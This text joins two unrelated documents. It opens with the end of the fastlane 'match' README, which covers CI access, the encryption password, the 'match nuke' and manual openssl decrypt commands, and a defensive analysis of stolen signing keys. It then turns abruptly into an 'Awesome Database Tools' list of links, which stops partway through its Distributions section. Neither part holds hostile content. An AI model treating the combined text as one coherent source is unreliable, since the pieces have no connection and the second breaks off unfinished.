"tools.fastlane.app.today_widget"], type: "appstore") ``` `match` can even use the same one Git repository for all bundle identifiers. ### Setup Xcode project [Docs on how to set up your Xcode project](https://docs.fastlane.tools/codesigning/XcodeProject/) #### To build from the command line using [fastlane](https://fastlane.tools) `match` automatically pre-fills environment variables with the UUIDs of the correct provisioning profiles, ready to be used in your Xcode project. More information about how to setup your Xcode project can be found [here](https://docs.fastlane.tools/codesigning/XcodeProject/) #### To build from Xcode manually This is useful when installing your application on your device using the Development profile. You can statically select the right provisioning profile in your Xcode project (the name will be `match Development tools.fastlane.app`). [Docs on how to set up your Xcode project](/fastlane/docs/Codesigning/XcodeProject.md) ### Continuous Integration #### Repo access There is one tricky part of setting up a CI system to work with `match`, which is enabling the CI to access the repo. Usually you'd just add your CI's public ssh key as a deploy key to your `match` repo, but since your CI will already likely be using its public ssh key to access the codebase repo, [you won't be able to do that](https://help.github.com/articles/error-key-already-in-use/). Some repo hosts might allow you to use the same deploy key for different repos, but GitHub will not. If your host does, you don't need to worry about this, just add your CI's public ssh key as a deploy key for your `match` repo and scroll down to "_Encryption password_". There are a few ways around this: 1. Create a new account on your repo host with read-only access to your `match` repo. Bitrise have a good description of this [here](http://devcenter.bitrise.io/faq/adding-projects-with-submodules/). 2. Some CIs allow you to upload your signing credentials manually, but obviously this means that you'll have to re-upload the profiles/keys/certs each time they change. Neither solution is pretty. It's one of those _trade-off_ things. Do you care more about **not** having an extra account sitting around, or do you care more about having the :sparkles: of auto-syncing of credentials. #### Encryption password Once you've decided which approach to take, all that's left to do is to set your encryption password as secret environment variable named `MATCH_PASSWORD`. `match` will pick this up when it's run. ### Nuke If you never really cared about code signing and have a messy Apple Developer account with a lot of invalid, expired or Xcode managed profiles/certificates, you can use the `match nuke` command to revoke your certificates and provisioning profiles. Don't worry, apps that are already available in the App Store / TestFlight will still work. Builds distributed via Ad Hoc or Enterprise will be disabled after nuking your account, so you'll have to re-upload a new build. After clearing your account you'll start from a clean state, and you can run `match` to generate your certificates and profiles again. To revoke all certificates and provisioning profiles for a specific environment: ```sh fastlane match nuke development fastlane match nuke distribution ``` <img src="assets/match_nuke.gif" width="550" /> You'll have to confirm a list of profiles / certificates that will be deleted. ### Change Password To change the password of your repo and therefore decrypting and encrypting all files run ``` fastlane match change_password ``` You'll be asked for the new password on all your machines on the next run. ### Manual Decrypt If you want to manually decrypt a file you can. ``` openssl aes-256-cbc -k "<password>" -in "<fileYouWantToDecryptPath>" -out "<decryptedFilePath>" -a -d ``` ## Is this secure? Both your keys and provisioning profiles are encrypted using OpenSSL using a passphrase. Storing your private keys in a Git repo may sound off-putting at first. We did an in-depth analysis of potential security issues and came to the following conclusions: #### What could happen if someone stole a private key? If attackers would have your certificate and provisioning profile, they could codesign an application with the same bundle identifier. What's the worst that could happen for each of the profile types? ##### App Store Profiles An App Store profile can't be used for anything as long as it's not re-signed by Apple. The only way to get an app resigned is to submit an app for review which could take anywhere from 24 hours to a few days (checkout [appreviewtimes.com](http://appreviewtimes.com) for up-to-date expectations). Attackers could only submit an app for review, if they also got access to your iTunes Connect credentials (which are not stored in git, but in your local keychain). Additionally you get an email notification every time a build gets uploaded to cancel the submission even before your app gets into the review stage. ##### Development and Ad Hoc Profiles In general those profiles are harmless as they can only be used to install a signed application on a small subset of devices. To add new devices, the attacker would also need your Apple Developer Portal credentials (which are not stored in git, but in your local keychain). ##### Enterprise Profiles Attackers could use an In-House profile to distribute signed application to a potentially unlimited number of devices. All this would run under your company name and it could eventually lead to Apple revoking your In-House account. However it is very easy to revoke a certificate to remotely break the app on all devices. Because of the potentially dangerous nature of In-House profiles please use _match_ with enterprise profiles with caution, ensure your git repository is private and use a secure password. ##### To sum up - You have full control over the access list of your Git repo, no third party service involved - Even if your certificates are leaked, they can't be used to cause any harm without your iTunes Connect login credentials - Use In-House enterprise profile with _match_ with caution - If you use GitHub or Bitbucket we encourage enabling 2 factor authentication for all accounts that have access to the certificates repo - The complete source code of `match` is fully open source on [GitHub](https://github.com/fastlane/fastlane/tree/master/match) ## [`fastlane`](https://fastlane.tools) Toolchain - [`fastlane`](https://fastlane.tools): The easiest way to automate beta deployments and releases for your iOS and Android apps - [`deliver`](https://github.com/fastlane/fastlane/tree/master/deliver): Upload screenshots, metadata and your app to the App Store - [`snapshot`](https://github.com/fastlane/fastlane/tree/master/snapshot): Automate taking localized screenshots of your iOS app on every device - [`frameit`](https://github.com/fastlane/fastlane/tree/master/frameit): Quickly put your screenshots into the right device frames - [`pem`](https://github.com/fastlane/fastlane/tree/master/pem): Automatically generate and renew your push notification profiles - [`produce`](https://github.com/fastlane/fastlane/tree/master/produce): Create new iOS apps on iTunes Connect and Dev Portal using the command line - [`cert`](https://github.com/fastlane/fastlane/tree/master/cert): Automatically create and maintain iOS code signing certificates - [`spaceship`](https://github.com/fastlane/fastlane/tree/master/spaceship): Ruby library to access the Apple Dev Center and iTunes Connect - [`pilot`](https://github.com/fastlane/fastlane/tree/master/pilot): The best way to manage your TestFlight testers and builds from your terminal - [`boarding`](https://github.com/fastlane/boarding): The easiest way to invite your TestFlight beta testers - [`gym`](https://github.com/fastlane/fastlane/tree/master/gym): Building your iOS apps has never been easier - [`scan`](https://github.com/fastlane/fastlane/tree/master/scan): The easiest way to run tests of your iOS and Mac app - [`precheck`](https://github.com/fastlane/fastlane/tree/master/precheck): Check your app using a community driven set of App Store review rules to avoid being rejected # Need help? Before submitting a new GitHub issue, please make sure to - Check out [docs.fastlane.tools](https://docs.fastlane.tools) - Check out the README pages on [this repo](https://github.com/fastlane/fastlane) - Search for [existing GitHub issues](https://github.com/fastlane/fastlane/issues) If the above doesn't help, please [submit an issue](https://github.com/fastlane/fastlane/issues) on GitHub and provide information about your setup, in particular the output of the `fastlane env` command. # Code of Conduct Help us keep `match` open and inclusive. Please read and follow our [Code of Conduct](https://github.com/fastlane/fastlane/blob/master/CODE_OF_CONDUCT.md). # License This project is licensed under the terms of the MIT license. See the LICENSE file. > This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools.

# Awesome Database Tools [](https://awesome.re) > Community driven list of database tools Here we will collect information about awesome useful and awesome experimental tools that simplify working with databases for DBA, DevOps, Developers and mere mortals. Feel free to add information about your own db-tools or your favorite third-party db-tools. For updates on `awesome-db-tools` and thoughts/news about databases/tools/SQL follow me at [@GraminMaksim](https://twitter.com/GraminMaksim) ## Contents - [IDE](#ide) - [GUI](#gui) - [CLI](#cli) - [Schema](#schema) - [Changes](#changes) - [Code generation](#code-generation) - [Diagrams](#diagrams) - [Documentations](#documentations) - [Design](#design) - [Samples](#samples) - [API](#api) - [Application platforms](#application-platforms) - [Backup](#backup) - [Cloning](#cloning) - [Monitoring/Statistics/Perfomance](#monitoringstatisticsperfomance) - [Prometheus](#prometheus) - [Zabbix](#zabbix) - [Testing](#testing) - [HA/Failover/Sharding](#hafailoversharding) - [Kubernetes](#kubernetes) - [Configuration Tuning](#configuration-tuning) - [DevOps](#devops) - [Reporting](#reporting) - [Distributions](#distributions) - [Security](#security) - [SQL](#sql) - [Analyzers](#analyzers) - [Extensions](#extensions) - [Frameworks](#frameworks) - [Formatters](#formatters) - [Parsers](#parsers) - [Über SQL](#über-sql) - [Language Server Protocol](#language-server-protocol) - [Learning](#learning) - [Plan](#plan) - [Scripts](#scripts) - [Data](#data) - [Catalog](#catalog) - [Generation/Masking/Subsetting](#generationmaskingsubsetting) - [Replication](#replication) - [Compare](#compare) - [Papers](#papers) - [Machine Learning](#machine-learning) ## IDE - [AnySQL Maestro](https://www.sqlmaestro.com/products/anysql/maestro) - Premier multi-purpose admin tool for database management, control and development. - [Aqua Data Studio](https://www.aquafold.com/aquadatastudio) - Aqua Data Studio is productivity software for Database Developers, DBAs, and Analysts. - [Coginiti Pro](https://www.coginiti.co/products/coginiti-pro/) - Modern IDE for analyst and analytics engineers with proweful script and grid functionality. - [Database .net](http://fishcodelib.com/Database.htm) - Multiple database management tool with support for 20+ databases. - [DataGrip](https://www.jetbrains.com/datagrip) - Cross-Platform IDE for Databases & SQL by JetBrains. - [DataStation](https://github.com/multiprocessio/datastation) - Easily query, script, and visualize data from every database, file, and API. - [DBeaver](https://github.com/dbeaver/dbeaver) - Free universal database manager and SQL client. - [dbForge Studio for MySQL](https://www.devart.com/dbforge/mysql/studio) - Universal IDE for MySQL and MariaDB database development, management, and administration. - [dbForge Studio for Oracle](https://www.devart.com/dbforge/oracle/studio) - Powerful IDE for Oracle management, administration, and development. - [dbForge Studio for PostgreSQL](https://www.devart.com/dbforge/postgresql/studio) - GUI tool for managing and developing databases and objects. - [dbForge Studio for SQL Server](https://www.devart.com/dbforge/sql/studio) - Powerful integrated development environment for SQL Server development, management, administration, data analysis, and reporting. - [DBHawk](https://www.datasparc.com/) - Datasparc offers database security, database management, database governance and data analytics - all in one solution. - [dbKoda](https://github.com/SouthbankSoftware/dbkoda) - Modern (JavaScript/Electron framework), open source IDE for MongoDB. It has features to support development, administration and performance tuning on MongoDB databases. - [IBExpert](http://www.ibexpert.net/ibe) - Comprehensive GUI tool for Firebird and InterBase. - [HeidiSQL](https://github.com/HeidiSQL/HeidiSQL) - A lightweight client for managing MySQL, MSSQL and PostgreSQL, written in Delphi. - [MySQL Workbench](https://www.mysql.com/products/workbench) - MySQL Workbench is a unified visual tool for database architects, developers, and DBAs. - [Navicat](https://www.navicat.com/en/products#navicat) - A database development tool that allows you to simultaneously connect to MySQL, MariaDB, SQL Server, Oracle, PostgreSQL, and SQLite databases from a single application. - [Oracle SQL Developer](http://www.oracle.com/technetwork/developer-tools/sql-developer) - Oracle SQL Developer is a free, integrated development environment that simplifies the development and management of Oracle Database in both traditional and Cloud deployments. - [pgAdmin](https://www.pgadmin.org) - The most popular and feature rich Open Source administration and development platform for PostgreSQL, the most advanced Open Source database in the world. - [pgAdmin3](https://www.bigsql.org/pgadmin3) - Long Term Support for pgAdmin3. - [PL/SQL Developer](https://www.allroundautomations.com/products/pl-sql-developer) - IDE that is specifically targeted at the development of stored program units for Oracle Databases. - [PostgreSQL Maestro](https://www.sqlmaestro.com/products/postgresql/maestro) - Complete and powerful database management, admin and development tool for PostgreSQL. - [Slashbase](https://github.com/slashbaseide/slashbase) - The open-source collaborative IDE for your databases. Connect to your database, browse data, run a bunch of SQL commands or share SQL queries with your team, right from your browser. - [Sql Server Management Studio](https://docs.microsoft.com/en-us/sql/ssms/sql-server-management-studio-ssms) - SQL Server Management Studio (SSMS) is an integrated environment for managing any SQL infrastructure, for SQL Server and Azure SQL Databases. - [Toad](https://www.quest.com/toad/) - Toad is the premier database solution for developers, admins and data analysts. Manage complex database changes with a single database management tool. - [Toad Edge](https://www.toadworld.com/products/toad-edge) - Simplified database development tool for MySQL and Postgres. - [TOra](https://github.com/tora-tool/tora) - TOra is an open source SQL IDE for Oracle, MySQL and PostgreSQL dbs. - [Valentina Studio](https://www.valentina-db.com/en/valentina-studio-overview) - Create, administer, query and explore Valentina DB, MySQL, MariaDB, PostgreSQL and SQLite databases for FREE. ## GUI - [Adminer](https://github.com/vrana/adminer) - Database management in a single PHP file. - [Azure Data Studio](https://github.com/microsoft/azuredatastudio) - A data management tool that enables working with SQL Server, PostgreSQL, Azure SQL DB and SQL DW from Windows, macOS and Linux. - [Beekeeper Studio](https://github.com/beekeeper-studio/beekeeper-studio) - Open Source SQL Editor and Database Manager with a privacy commitment in their mission statement. - [DbGate](https://github.com/dbgate/dbgate) - Database manager for MySQL, PostgreSQL, SQL Server, MongoDB, SQLite and others. Runs under Windows, Linux, Mac or as web application. - [DB Lens](https://github.com/dblens/app) - Open Source Postgres GUI - Automatic ER diagrams, Internal DB Insights, Disk Utilisation, Performance Metrics, Index Usage, Sequential scan counts and more. - [DbVisualizer](https://www.dbvis.com) - Universal database tool for developers, DBAs and analysts. - [JackDB](https://www.jackdb.com) - Direct SQL access to all your data, no matter where it lives. - [Jailer](https://github.com/Wisser/Jailer) - Database Subsetting and Relational Data Browsing Tool/Client. - [Malewicz](https://github.com/mgramin/malewicz) - Yet Another WEB client for DB schema exploring and performance analysis, but originally created specifically for hacking and extending. - [MissionKontrol](https://www.missionkontrol.io) - Modern drag & drop admin panel/client with full user permissions for non-technical users. - [ocelotgui](https://github.com/ocelot-inc/ocelotgui) - For MySQL, MariaDB, and Tarantool. Developed for Linux but can run on Windows. - [OmniDB](https://github.com/OmniDB/OmniDB) - Web tool for database management. - [Pgweb](https://github.com/sosedoff/pgweb) - Web-based database browser for PostgreSQL, written in Go and works on macOS, Linux and Windows machines. - [phpLiteAdmin](https://www.phpliteadmin.org) - Web-based SQLite database admin tool written in PHP with support for SQLite3 and SQLite2. - [phpMyAdmin](https://github.com/phpmyadmin/phpmyadmin) - A web interface for MySQL and MariaDB. - [psequel](http://www.psequel.com) - PSequel provides a clean and simple interface for you to perform common PostgreSQL tasks quickly. - [PopSQL](https://popsql.com) - Modern, collaborative SQL editor for your team. - [Postico](https://eggerapps.at/postico) - A Modern PostgreSQL Client for the Mac. - [Robo 3T](https://github.com/Studio3T/robomongo) - Robo 3T (formerly Robomongo) is a shell-centric cross-platform MongoDB management tool. - [Sequel Ace](https://github.com/Sequel-Ace/Sequel-Ace) - MySQL/MariaDB database management for macOS. - [Sequel Pro](https://github.com/sequelpro/sequelpro) - Sequel Pro is a fast, easy-to-use Mac database management application for working with MySQL & MariaDB databases. - [SQLite Expert](http://www.sqliteexpert.com/index.html) - Graphical interface supports all SQLite features. - [sqlite-tui](https://github.com/mathaou/sqlite-tui) - A TUI for viewing sqlite databases, written in Go. - [sqlpad](https://github.com/rickbergfalk/sqlpad) - Web-based SQL editor run in your own private cloud. - [SQLPro](https://www.macpostgresclient.com) - A simple, powerful Postgres manager for macOS. - [SQuirreL](https://sourceforge.net/projects/squirrel-sql) - Graphical SQL client written in Java that will allow you to view the structure of a JDBC compliant database, browse the data in tables, issue SQL commands etc. - [SQLTools](https://github.com/mtxr/vscode-sqltools) - Database management for VSCode. - [SQLyog](https://www.webyog.com/product/sqlyog) - The most complete and easy to use MySQL GUI. - [Tabix](https://github.com/tabixio/tabix) - SQL Editor & Open source simple business intelligence for Clickhouse. - [TablePlus](https://github.com/TablePlus/TablePlus) - Modern, native, and friendly GUI tool for relational databases: MySQL, PostgreSQL, SQLite & more. - [TeamPostgreSQL](http://www.teampostgresql.com) - PostgreSQL Web Administration GUI - use your PostgreSQL databases from anywhere, with rich, lightning-fast AJAX web interface. - [Query.me](https://query.me) - Collaborative SQL editor in Notebook format. Let's you reference query results using JINJA, visualize data, and schedule runs and exports. ## CLI - [ipython-sql](https://github.com/catherinedevlin/ipython-sql) - Connect to a database for issue SQL commands within IPython or IPython Notebook. - [iredis](https://github.com/laixintao/iredis) - A Cli for Redis with AutoCompletion and Syntax Highlighting. - [pgcenter](https://github.com/lesovsky/pgcenter) - Top-like admin tool for PostgreSQL. - [pg_activity](https://github.com/julmon/pg_activity) - Top-like application for PostgreSQL server activity monitoring. - [pg_top](https://github.com/markwkm/pg_top) - Top for PostgreSQL. - [pspg](https://github.com/okbob/pspg) - Postgres Pager. - [SQLcl](http://www.oracle.com/technetwork/developer-tools/sqlcl/overview/index.html) - Oracle SQL Developer Command Line (SQLcl) is a free command line interface for Oracle Database. - [sqlite-utils](https://github.com/simonw/sqlite-utils) - CLI tools for manipulating SQLite database files - inserting data, running queries, creating indexes, configuring full-text search and more. - [SQLLine](https://github.com/julianhyde/sqlline) - Command-line shell for issuing SQL to relational databases via JDBC. - [usql](https://github.com/xo/usql) - A universal command-line interface for PostgreSQL, MySQL, Oracle Database, SQLite3, Microsoft SQL Server, and many other databases including NoSQL and non-relational databases! ### dbcli - [athenacli](https://github.com/dbcli/athenacli) - AthenaCLI is a CLI tool for AWS Athena service that can do auto-completion and syntax highlighting. - [litecli](https://github.com/dbcli/litecli) - CLI for SQLite Databases with auto-completion and syntax highlighting. - [mssql-cli](https://github.com/dbcli/mssql-cli) - A command-line client for SQL Server with auto-completion and syntax highlighting. - [mycli](https://github.com/dbcli/mycli) - A Terminal Client for MySQL with AutoCompletion and Syntax Highlighting. - [pgcli](https://github.com/dbcli/pgcli) - Postgres CLI with autocompletion and syntax highlighting. - [vcli](https://github.com/dbcli/vcli) - Vertica CLI with auto-completion and syntax highlighting. ## Schema ### Changes - [2bass](https://github.com/CourseOrchestra/2bass) - Database configuration-as-code tool that utilizes concept of idempotent DDL scripts. - [Atlas](https://github.com/ariga/atlas) - Inspect and Apply changes to your database schema. - [Bytebase](https://github.com/bytebase/bytebase) - Web-based, zero-config, dependency-free database schema change and version control tool for teams. - [flyway](https://github.com/flyway/flyway) - Database migration tool. - [gh-ost](https://github.com/github/gh-ost) - Online schema migration for MySQL. - [liquibase](https://github.com/liquibase/liquibase) - Database-independent library for tracking, managing and applying database schema changes. - [migra](https://github.com/djrobstep/migra) - Like diff but for PostgreSQL schemas. - [node-pg-migrate](https://github.com/salsita/node-pg-migrate) - Node.js database migration management built exclusively for postgres. (But can also be used for other DBs conforming to SQL standard - e.g. CockroachDB.) - [pg-osc](https://github.com/shayonj/pg-osc) - Easy CLI tool for making zero downtime schema changes and backfills in PostgreSQL. - [Prisma Migrate](https://github.com/prisma/migrate) - Declarative database schema migration tool that uses a declarative data modeling syntax to describe your database schema. - [Pyrseas](https://github.com/perseas/Pyrseas) - Provides utilities to describe a PostgreSQL database schema as YAML. - [Reshape](https://github.com/fabianlindfors/reshape) - An easy-to-use, zero-downtime schema migration tool for Postgres. - [SchemaHero](https://github.com/schemahero/schemahero) - A Kubernetes operator for declarative database schema management (gitops for database schemas). - [Skeema](https://github.com/skeema/skeema) - Declarative pure-SQL schema management system for MySQL and MariaDB, with support for sharding and external online schema change tools. - [Sqitch](https://github.com/sqitchers/sqitch) - Sensible database-native change management for framework-free development and dependable deployment. - [sqldef](https://github.com/k0kubun/sqldef) - Idempotent schema management for MySQL, PostgreSQL, and more. - [yuniql](https://github.com/rdagumampan/yuniql) - Yet another schema versioning and migration tool just made with native .NET Core 3.0+ and hopefully better. ### Code generation - [ddl-generator](https://github.com/catherinedevlin/ddl-generator) - Infers SQL DDL (Data Definition Language) from table data. - [scheme2ddl](https://github.com/qwazer/scheme2ddl) - Command line util for export Oracle schema to set of ddl init scripts with ability to filter undesirable information, separate DDL in different files, pretty format output. ### Diagrams - [Azimutt](https://github.com/azimuttapp/azimutt) - An Entity Relationship diagram (ERD) visualization tool, with various filters and inputs to help understand your database schema. - [ERAlchemy](https://github.com/Alexis-benoist/eralchemy) - Entity Relation Diagrams generation tool. - [ERD Lab](https://www.erdlab.io/) - Free cloud based entity relationship diagram (ERD) tool made for developers. ### Documentations - [dbdocs](https://dbdocs.io/) - Create web-based database documentation using DSL code. - [DBML](https://github.com/holistics/dbml) - Database Markup Language, designed to define and document database structures. - [SchemaCrawler](https://github.com/schemacrawler/SchemaCrawler) - A free database schema discovery and comprehension tool. - [Schema Spy](https://github.com/schemaspy/schemaspy) - Generating your database to HTML documentation, including Entity Relationship diagrams. - [tbls](https://github.com/k1LoW/tbls) - CI-Friendly tool for document a database, written in Go. ### Design - [Database Design](https://github.com/alextanhongpin/database-design) - Useful tips for designing robust database schema. - [DBDiagram](https://dbdiagram.io) - A free, simple tool to draw ER diagrams by just writing code. - [DbSchema](https://dbschema.com/) - Universal database designer for out-of-the-box schema management, schema documentation, design in a team, and deployment on multiple databases. DbSchema features tools for writing and executing queries, exploring the data, generating data, and building reports. - [ERBuilder Data Modeler](https://soft-builder.com/erbuilder-data-modeler) - Easy-to-use database modeling software for high-quality data models. It's a complete data modeling solution for data modelers and data architects. - [Moon Modeler](https://www.datensen.com) - Data modeling tool for both noSQL and relational databases. Available for Windows, Linux and macOS. - [Navicat Data Modeler](https://www.navicat.com/en/products/navicat-data-modeler) - A powerful and cost-effective database design tool which helps you build high-quality conceptual, logical and physical data models. - [Oracle SQL Developer Data Modeler](http://www.oracle.com/technetwork/developer-tools/datamodeler/overview/index.html) - Oracle SQL Developer Data Modeler is a free graphical tool that enhances productivity and simplifies data modeling tasks. - [pgmodeler](https://github.com/pgmodeler/pgmodeler) - Data modeling tool designed for PostgreSQL. - [WWW SQL Designer](https://github.com/ondras/wwwsqldesigner) - Online SQL diagramming tool. ### Samples - [Oracle Database Sample Schemas](https://github.com/oracle/db-sample-schemas) - Oracle Database Sample Schemas. ## API Building API for your Data - [Datasette](https://github.com/simonw/datasette) - A tool for exploring and publishing data. - [DreamFactory](https://github.com/dreamfactorysoftware/dreamfactory) - A open source REST API backend for mobile, web, and IoT applications. - [Hasura GraphQL Engine](https://github.com/hasura/graphql-engine) - Blazing fast, instant realtime GraphQL APIs on Postgres with fine grained access control, also trigger webhooks on database events. - [Oracle REST Data Services](http://www.oracle.com/technetwork/developer-tools/rest-data-services) - A mid-tier Java application, ORDS maps HTTP(S) verbs (GET, POST, PUT, DELETE, etc.) to database transactions and returns any results formatted using JSON. - [Prisma](https://github.com/prismagraphql/prisma) - Prisma turns your database into a realtime GraphQL API. - [PostGraphile](https://github.com/graphile/postgraphile) - Instantly spin-up a GraphQL API server by pointing PostGraphile at your existing PostgreSQL database. - [PostgREST](https://github.com/PostgREST/postgrest) - REST API for any Postgres database. - [prest](https://github.com/prest/prest) - Is a way to serve a RESTful API from any databases written in Go. - [Remult](https://github.com/remult/remult) - End-to-end type-safe CRUD via REST API for your database, with fine-grained access control. - [restSQL](https://github.com/restsql/restsql) - SQL generator with Java and HTTP APIs, uses a simple RESTful HTTP API with XML or JSON serialization. - [resquel](https://github.com/formio/resquel) - Easily convert your SQL database into a REST API. - [sandman2](https://github.com/jeffknupp/sandman2) - Automatically generate a RESTful API service for your legacy database. - [VulcanSQL](https://github.com/Canner/vulcan-sql) - Write templated SQL to automatically exposing RESTful APIs from your database/data warehouse/data lake. - [Graphweaver](https://github.com/exogee-technology/graphweaver) - Turn multiple data sources into a single GraphQL API. ## Application platforms Low-code and no-code platforms for application building - [Appsmith](https://github.com/appsmithorg/appsmith) - Powerful open source low code framework to build internal applications really quickly. - [Budibase](https://github.com/Budibase/budibase) - Low-code platform for creating internal apps in minutes. - [ILLA Cloud](https://github.com/illacloud/illa-builder) - Low-code internal tool building platform. - [Nhost](https://github.com/nhost/nhost) - The Open Source Firebase Alternative with GraphQL. - [Saltcorn](https://github.com/saltcorn/saltcorn) - Open source no-code builder for web datatabase applications. Server and drag-and-drop UI builder, data stored in PostgreSQL or SQLite. - [Tooljet](https://github.com/ToolJet/ToolJet) - Open-source low-code platform to build internal tools. ## Backup - [BaRMan](https://github.com/2ndquadrant-it/barman) - Backup and Recovery Manager for PostgreSQL. - [pgbackrest](https://github.com/pgbackrest/pgbackrest) - Reliable PostgreSQL Backup & Restore. - [pgcopydb](https://github.com/dimitri/pgcopydb) - Copy a Postgres database to a target Postgres server (pg_dump | pg_restore on steroids). ## Cloning - [Database Lab Engine](https://gitlab.com/postgres-ai/database-lab) - Instant thin cloning for Postgres to scale the development process. - [clone_schema](https://github.com/denishpatel/pg-clone-schema) - Postgres clone schema utility without need of going outside of database. - [Spawn](https://spawn.cc/) - Cloud service for creating instant database copies for development and CI. No more local db installs, instant recovery to arbitrary save points, isolated copies for each feature branch or test. Instant provisioning regardless of database size. ## Monitoring/Statistics/Perfomance - [ASH Viewer](https://github.com/akardapolov/ASH-Viewer) - Provides a graphical view of active session history data within the Oracle and PostgreSQL DB. - [Monyog](https://www.webyog.com/product/monyog) - Agentless & Cost-effective MySQL Monitoring Tool. - [mssql-monitoring](https://github.com/microsoft/mssql-monitoring) - Monitor your SQL Server on Linux performance using collectd, InfluxDB and Grafana. - [Navicat Monitor](https://www.navicat.com/en/products/navicat-monitor) - A safe, simple and agentless remote server monitoring tool that is packed with powerful features to make your monitoring effective as possible. - [Percona Monitoring and Management](https://github.com/percona/pmm) - Open source platform for managing and monitoring MySQL and MongoDB performance. - [pganalyze collector](https://github.com/pganalyze/collector) - Pganalyze statistics collector for gathering PostgreSQL metrics and log data. - [pgbadger](https://github.com/dalibo/pgbadger) - A fast PostgreSQL Log Analyzer. - [pgDash](https://pgdash.io) - Measure and track every aspect of your PostgreSQL databases. - [PgHero](https://github.com/ankane/pghero) - A performance dashboard for Postgres - health checks, suggested indexes, and more. - [pgmetrics](https://github.com/rapidloop/pgmetrics) - Collect and display information and stats from a running PostgreSQL server. - [pgMonitor](https://github.com/CrunchyData/pgmonitor) - All-in-one tool to easily create an environment to visualize the health and performance of your PostgreSQL cluster. - [pgMustard](https://www.pgmustard.com) - A user interface for Postgres explain plans, plus tips to improve performance. - [pgstats](https://github.com/gleu/pgstats) - Collects PostgreSQL statistics, and either saves them in CSV files or print them on the stdout. - [pgwatch2](https://github.com/cybertec-postgresql/pgwatch2) - Flexible self-contained PostgreSQL metrics monitoring/dashboarding solution. - [PostgreSQL Metrics](https://github.com/spotify/postgresql-metrics) - Service to extract and provide metrics on your PostgreSQL database. - [Postgres Monitor](https://postgresmonitor.com) - An easy-to-use monitoring service for PostgreSQL providing alerts, dashboards, query stats and dynamic recommendations. - [postgres-checkup](https://gitlab.com/postgres-ai/postgres-checkup) - New-generation diagnostics tool that allows users to do a deep analysis of the health of Postgres databases. - [Promscale](https://github.com/timescale/promscale) - The open-source observability backend for metrics and traces powered by SQL. - [Telegraf PostgreSQL plugin](https://github.com/influxdata/telegraf/tree/master/plugins/inputs/postgresql) - Provides metrics for your postgres database. ### Prometheus - [pgSCV](https://github.com/weaponry/pgscv) - Metrics exporter for PostgreSQL and Postgres-related services. - [postgres_exporter](https://github.com/wrouesnel/postgres_exporter) - Prometheus exporter for PostgreSQL server metrics. - [pg_exporter](https://github.com/Vonng/pg_exporter) - Fully customizable Prometheus exporter for PostgreSQL & Pgbouncer with fine-grained execution control. ### Zabbix - [Mamonsu](https://github.com/postgrespro/mamonsu) - Monitoring agent for PostgreSQL. - [Orabbix](http://www.smartmarmot.com/wiki/index.php?title=Orabbix) - Orabbix is a plugin designed to work with Zabbix Enterprise Monitor to provide multi-tiered monitoring, performance and availability reporting and measurement for Oracle Databases, along with server performance metrics. - [pg_monz](https://github.com/pg-monz/pg_monz) - This is the Zabbix monitoring template for PostgreSQL Database. - [Pyora](https://github.com/bicofino/Pyora) - Python script to monitor Oracle Databases. - [ZabbixDBA](https://github.com/anetrusov/ZabbixDBA) - ZabbixDBA is fast, flexible, and continuously developing plugin to monitor your RDBMS. ## Testing - [DbFit](https://github.com/dbfit/dbfit) - A database testing framework that supports easy test-driven development of your database code. - [RegreSQL](https://github.com/dimitri/regresql) - Regression Testing your SQL queries. - [SQLancer](https://github.com/sqlancer/sqlancer) - Automatically test DBMS in order to find logic bugs in their implementation. ## HA/Failover/Sharding - [Citus](https://github.com/citusdata/citus) - Postgres extension that distributes your data and your queries across multiple nodes. - [patroni](https://github.com/zalando/patroni) - A template for PostgreSQL High Availability with ZooKeeper, etcd, or Consul. - [Percona XtraDB Cluster](https://github.com/percona/percona-xtradb-cluster) - A High Scalability Solution for MySQL Clustering and High Availability. - [ShardingSphere](https://github.com/apache/shardingsphere) - Distributed SQL transaction & query engine for data sharding, scaling, encryption, and more - on any database. - [stolon](https://github.com/sorintlab/stolon) - Cloud native PostgreSQL manager for PostgreSQL high availability. - [pg_auto_failover](https://github.com/citusdata/pg_auto_failover) - Postgres extension and service for automated failover and high-availability. - [pglookout](https://github.com/aiven/pglookout) - PostgreSQL replication monitoring and failover daemon. - [pgslice](https://github.com/ankane/pgslice) - Postgres partitioning as easy as pie. - [PostgreSQL Automatic Failover](https://github.com/ClusterLabs/PAF) - High-Availibility for Postgres, based on industry references Pacemaker and Corosync. - [postgresql_cluster](https://github.com/vitabaks/postgresql_cluster) - PostgreSQL High-Availability Cluster (based on "Patroni" and "DCS(etcd)"). Automating deployment with Ansible. - [Vitess](https://github.com/vitessio/vitess) - Database clustering system for horizontal scaling of MySQL through generalized sharding. ## Kubernetes - [KubeDB](https://kubedb.com) - Making running production-grade databases easy on Kubernetes. - [Postgres operator](https://github.com/zalando/postgres-operator) - The Postgres Operator enables highly-available PostgreSQL clusters on Kubernetes (K8s) powered by Patroni. - [Spilo](https://github.com/zalando/spilo) - HA PostgreSQL Clusters with Docker. - [StackGres](https://gitlab.com/ongresinc/stackgres) - Enterprise-grade, Full Stack PostgreSQL on Kubernetes. ## Configuration Tuning - [MySQLTuner-perl](https://github.com/major/MySQLTuner-perl) - Script written in Perl that allows you to review a MySQL installation quickly and make adjustments to increase performance and stability. - [PGConfigurator](https://pgconfigurator.cybertec-postgresql.com) - Free online tool to generate an optimized `postgresql.conf`. - [pgtune](https://github.com/gregs1104/pgtune) - PostgreSQL configuration wizard. - [postgresqltuner.pl](https://github.com/jfcoz/postgresqltuner) - Simple script to analyse your PostgreSQL database configuration, and give tuning advice. ## DevOps - [DBmaestro](https://www.dbmaestro.com) - DBmaestro accelerates release cycles & supports agility across the entire IT ecosystem. - [Toad DevOps Toolkit](https://www.quest.com/products/toad-devops-toolkit/) - Toad DevOps Toolkit executes key database development functions within your DevOps workflow —without compromising quality, performance or reliability. ## Reporting - [Chartbrew](https://chartbrew.com) - Create live dashboards, charts, and client reports from multiple databases and services. - [Poli](https://github.com/shzlw/poli) - An easy-to-use SQL reporting application built for SQL lovers. ## Distributions - [DBdeployer](https://github.com/datacharmer/dbdeployer) - Tool that deploys MySQL database servers easily. - [dbatools](https://github.com/sqlcollaborative/dbatools) - PowerShell module that you may think of like a command-line SQL Server Management Studio. - [Postgres.app](https://github.com/PostgresApp/PostgresApp) - Full-featured PostgreSQL installation packaged as a standard Mac app. - [BigSQL](https://www.bigsql.org) - A developer-friendly distribution of Postgres. - 